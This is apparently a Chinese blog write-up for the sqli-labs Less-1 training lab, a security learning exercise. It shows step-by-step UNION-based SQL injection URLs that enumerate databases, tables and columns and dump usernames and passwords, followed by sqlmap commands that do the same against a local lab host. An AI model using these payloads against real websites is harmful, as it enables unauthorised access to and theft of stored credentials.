sqli-Labs:Less-1
基于错误_GET_单引号_字符型注入
0x01判断是字符型注入还是数字型注入
根据注入位置数据类型可将SQL注入分为:字符型和数字型
数字型:select * from table where id = 用户输入的id
字符型:select * from table where id = ‘用户输入的id’
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠、来探测URL中是否存在注入点
http://127.0.0.1/sqli/Less-1/?id=1
输入后显示正常页面
http://127.0.0.1/sqli/Less-1/?id=1'
输入后爆出错误
从这里透露的部分sql语句为'1'' LIMIT 0,1
,其中1’为输入的参数,由此可判断出这是字符型注入,且为单引号闭合。猜测sql语句为如下
select * from table_name where id='$id' limit 0,1
测试是否有注入点
http://127.0.0.1/sqli/Less-1/?id=0' or 1=1 --+
显示仍然正常,所以判断有注入点
id=0显然不正确,但 1=1 却是永真条件(可用其他永真条件判断)
0x02 Mysql常用语法
1.Order by num
select * from table_name order by 3
--按第三列(第三个字段)排序
order by column_name asc/desc
--升序,降序
通常利用order by num和回显来判断该表有几个字段:若num=3时显示正确,num=4显示错误,说明字段数为3。
2.union操作符
通常利用union语句的特点,使原查询左边为空,使我们定义的查询结果返回出来。假如该表有3个字段,界面显示的为2,3个字段。
select * from users where id=-1 union select 1,2,3 from users
替换2,3
3.limit子句
用于规定要返回的记录的数目:
select * from users limit 3
——返回前3条
select * from users limit 1,2
——返回索引1开始的前2条(索引从0开始)
4.concat()函数
用于连接字符串:
select concat('11','22','33')
——输出"112233"
select concat_ws('-','11','22','33')
——输出"11-22-33",第一个参数是其它参数的分隔符
group_concat(column_name)
——将字段的所有数据用,连接作为字符串输出
5.内置数据库information_schema
关于Mysql 5.x 数据结构
在Mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name
字段用来存储数据库名
在tables表中,table_schema
和table_name
分别用来存储数据库名和表名
在columns表中,table_scheme
(数据库名)、table_name
(表名)、column_name
(字段名)
Mysql增删改查
select
user()
:查看当前Mysql登陆用户名
database()
:查看当前使用Mysql数据库名
version()
:查看当前mysql版本
limit关键字 limit m,n
从m行开始到m+n行结束
在Mysql中,select就像一个前缀,Mysql需要select 1=1返回true。
select user()
etc.
0x03 获取库名、表名、字段
获取字段数
select * from table_name order by 3
--按第三列(第三个字段)排序
order by column_name asc/desc
--升序,降序
通常利用order by num和回显来判断该表有几个字段:若num=3时显示正确,num=4显示错误,说明字段数为3。
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+
报错,判断为三个字段,--+
为了注释掉后面的单引号,前面的单引号为了闭合
使用union联合查询获取数据库名
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 --+
这里的2,3可以换成任意想要的结果。比如database(),version()
使用union联合查询获取表名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
也可将’security’换成database()
这是数据库的第一个表名,想要获取其他表名需要用limit语句
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1--+
使用union联合查询获取字段
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+
利用limit语句查询到字段名 id username passwoed
使用union联合查询获取数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,username,password from users limit 1,1--+
利用group_concat()集体打包输出
(1)查表名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(2)查字段名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
(3)查字段值
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
http://127.0.0.1/sqli/Less-1/?id= 0' union select 1,group_concat(username,0x3a,password),3 from users --+
后面还有很多
0x05 SQLmap
利用windows-Sqlmap测试
查询数据库名称
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
查询表名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1?id=1" -D security --tables --batch
查询字段名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1?id=1 -D security" -T users --columns --batch
查询字段值
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1?id=1" -D security -T users -C username,password
--dump --batch
0x06 杂记
(1)第一次写博客,花了好久的时间,感谢一些博客主,借鉴学习和运用了不少内容,让我少走了不少弯路,衷心感谢。
(2)坚持一件事很难,但过程很美。接下来我会坚持写实验吧Web的wp和关于sqli-labs的内容